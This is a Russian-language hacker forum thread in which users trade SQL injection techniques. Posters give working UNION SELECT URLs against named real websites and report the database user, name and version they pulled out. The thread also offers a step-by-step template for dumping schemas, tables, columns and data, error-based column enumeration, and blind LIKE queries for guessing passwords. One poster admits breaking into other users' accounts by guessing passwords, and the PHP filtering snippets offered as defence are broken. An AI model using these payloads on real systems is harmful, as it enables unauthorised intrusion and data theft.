Ну к примеру сайт http://www.mibf.ru.Захожу в любую новость http://www.mibf.ru/?id=52&news_id=417 Вместо 417 вставляю 1' Выходят ошибки SQL(как я понял) Теперь не пойму...можно ли использовать SQL Injection тут,и что мне дальше делать с этим? П.С заметил когда в ссылке http://www.mibf.ru/?id=52&news_id=417 вместо ?id=52 вставляю 1' вылезает белое окно с ошибкой,А если на место 417 вставить...будет другой результят.С чем это может быть связанно? Заранее благодарю
eval()'d code Это не SQL ошибка, а вообще мне кажется он исполняет точто приходит из бд. Сейчас покавыряюсь скажу. http://www.mibf.ru/?id=-52+union+select+1,2,3,4,5,6,7,8,9,10+--+ >> http://www.mibf.ru/?id=-52+UNION+SELECT+1,2,3,4,5,6,7,concat_ws(0x3a,user(),database(),version()),concat_ws(0x3a,user(),database(),version()),10+--+ >>> User: mibf@localhost Database: mibficom Version: 5.0.45
Приветствую. К сожалению, в силу своей безграмотности я так и не смог провести ни одной иньекции. Синтаксис sql немного знаю, но по статьям не получается никак. Как правило, грабли одни и те же. Вот к примеру Уязвимый скрипт register.cgi Количество столбцов: 2. Вот запрос(## убрать): Однако, при подстановке в одно из полей, к примеру, @@basedir или Version вывод остается неизменным. Что я делаю не так?
_http://www.spark-com.ru/cgi-bin/register.cgi?region_id=-1+union+select+concat_ws(0x3a,version(),user(),database()),null--
подскажите пожалуйста, что делать, если на запрос .../?id=-1+union+select+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='author'+LIMIT+1,1+-- выводится mysql_fetch_array(): supplied argument is not a valid MySQL result resource... похоже, что фильтруется кавычка, но .../?id=-1+union+select+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=char(27)+author+char(27)+LIMIT+1,1+-- выводит ту же ошибку
Dr Z3r0 можеш на примере показать код пожалуста. и пример php кода для 2 примера. 1)САМОЕ ГЛАВНОЕ ФИЛЬТРОВАТЬ КАВЫЧКИ. ------------------------------- 2)Если используется оператор сравнения строк LIKE фильтровать знаки “%” и “_” -------------------------------
MYSQL - Retrieving some column's name using Row SubQueries почистите тему от мусора, модеры. http://sla.ckers.org/forum/read.php?16,32472 MYSQL - Retrieving some column's name using Row SubQueries Posted by: Paic (IP Logged) Date: November 25, 2009 11:56AM Hi, I've recently found an interesting way of retrieving column's name from other tables than the one used in the query when information_schema table is not accessible. It assume you've already found some table's name. It is using the 1%0 trick and MySQL subqueries. Maybe you all know about that but I would like to share it! I was playing around with sql subqueries when I've found something very interesting: "Row Subqueries" You'd better read this in order to understand what's next: [dev.mysql.com] The hint is "The row constructor and the row returned by the subquery must contain the same number of values." Ok, imagine you have the table USER_TABLE. You don't have any other informations than the table's name. The sql query is expecting only one row as result. Here is our input: ' AND (SELECT * FROM USER_TABLE) = (1); MySQL answer: "Operand should contain 7 column(s)" MySQL told us that the table USER_TABLE has 7 columns! That's great! Now we can use the UNION and 1%0 to retrieve some column's name: The following query shouldn't give you any error: ' AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 LIMIT 1); Now let's try with the first colum, simply add %0 to the first column in the UNION: ' AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1); MySQL answer: "Column 'usr_u_id' cannot be null" We've got the first column name: "usr_u_id" Then we proceed with the other columns... Example with the 4th column: ' AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1); If MySQL doesn't reply with an error message, this is just because the column can be empty and you won't be able to get it's name! Paic
1: PHP: <?PHP $_GET['query'] = mysql_real_escape_string($_GET['query']); ?> 2: PHP: <?PHP $_GET['query'] = preg_replace("%", "", $_GET['query']); $_GET['query'] = preg_replace("_", "", $_GET['query']); ?>
Выложу и сюда, заманали уже просто с такими вопросами: Узнаем все БД: http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(schema_name),3,4,5,6,7,8,9,10+from+information_schema.schemata-- Узнаем таблицы из нужной БД: http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10+from+information_schema.tables+where+table_schema='ИМЯ_БД'-- Узнаем колонки из нужной таблицы из нужной БД: http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10+from+information_schema.columns+where+table_name='ИМЯ_ТАБЛИЦЫ'+and+table_schema='ИМЯ_БД'-- Узнаем данные из нужной таблицы из нужной БД: http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(ИМЯ_КОЛОНКИ),3,4,5,6,7,8,9,10+from+ИМЯ_БД.ИМЯ_ТАБЛИЦЫ-- PS: или убрать group_concat и юзать как обычно: limit+0,1 limit+1,1 ...... если было чото такое - удалите плз, поиском по сайту в FAQ-ах вроде нет, а спрашивают часто
Боян конечно, но вроде нигде не писали Все чаще встречаю сайты, где либо фильтруются запятые, либо запятые участвуют в разборе QUERY_STRING при работе mod_rewrite, встречал даже ситуацию где запятые экранировались слешами. К сожалению тут особо не развернешься, но все таки можно достать нужную нам инфу, для этого надо знать имена колонок и таблиц, хотя таким же способом их можно вывести из information_schema Допустим юзер с id=1 имеет пароль qwerty, тогда id=1 and (select password from users where password like 'q%' and id=1) - запрос верный id=1 and (select password from users where password like 'qa%' and id=1) - запрос неверный id=1 and (select password from users where password like 'qw%' and id=1) - запрос верный И так далее. Сложно, долго, но работает
Вы меня наверно пошлете на х*й, но хотелось бы спросить (или может быть кто-небудь сжалится над тупым дураком и согласится сам ему объяснить) где можно достать информацию об SQL injection для форумов на phpBB. А то ведь большинство форумов работают на phpBB а все что можно найти в сети обычно многолетней давности и та информация кроме как для изучения синтаксис sql и php мало чем полезна. По крайней мере для инъекций phpBB-форумов в которых фильтруется все что только можно. Пожалуйста не судите строга за наглость, очень уж хочется освоить такую интересную вещь как SQL injection. Буду очень признателен за помощь. P.S.: не смотрите что у меня такой дурацкий ник. я просто прошелся по списку пользователей и пробовал цифровые ники в качестве пароля, что б самому не регится и не загаживать список пользователей еще одной записью ради одного поста.
Спасибо что не послали. Поиск в гугле phpBB sql injection vuln особых результатов не дал. Все в основном на английском. Да даже и на русском то по большей части просто большие куски кода на php практически без объяснения (типа раз таким интересуешься то и так все поймешь а если не шаришь то это и к лучшему: а то понаучиваются всякие придурки инъекции проводить потом ни одного форума целого не останется). Это и понятно лет 5-7 назад инъекции проводить было гораздо легче, фильтрации данных особо не проводили и зная основы php и sql можно было прописать что-небудь типа http://forum.ru/index.php?id=-1+union+select+1,2,3,4,5,6,7,8+from+INFORMATION_SC HEMA.TABLES/*. З годами создатели всяческих phpBB совершенствовали свои творения и желающие взломать их совершенствовали свои методы. И к теперешнему времени досовершенствовались до того что новичку уже знаний основ php и sql мало. А желающих обучать малоспособных учеников особо нет.
Насчёт 5-7 лет ты ошибаешься INFORMATION_SCHEMA, только в Mysql5, а Mysql5 вышел не 5-7 лет назад (Примерную дату даже незнаю ) И тем более 5-7 лет назад небыло таких методов как сейчас, сейчас очень хорошо всё развиваеться в области ИТ безопасности. Насчёт English, если появляеться на Английских коммунити какие либо уязвимости, то они быстро оказываються на просторах рухека. Ошибайтесь, 5 лет назад про SQL injection, было очень мало контента, сейчас же на любом коммунити. Ну да, соглашусь, методов безопасности стало куда больше.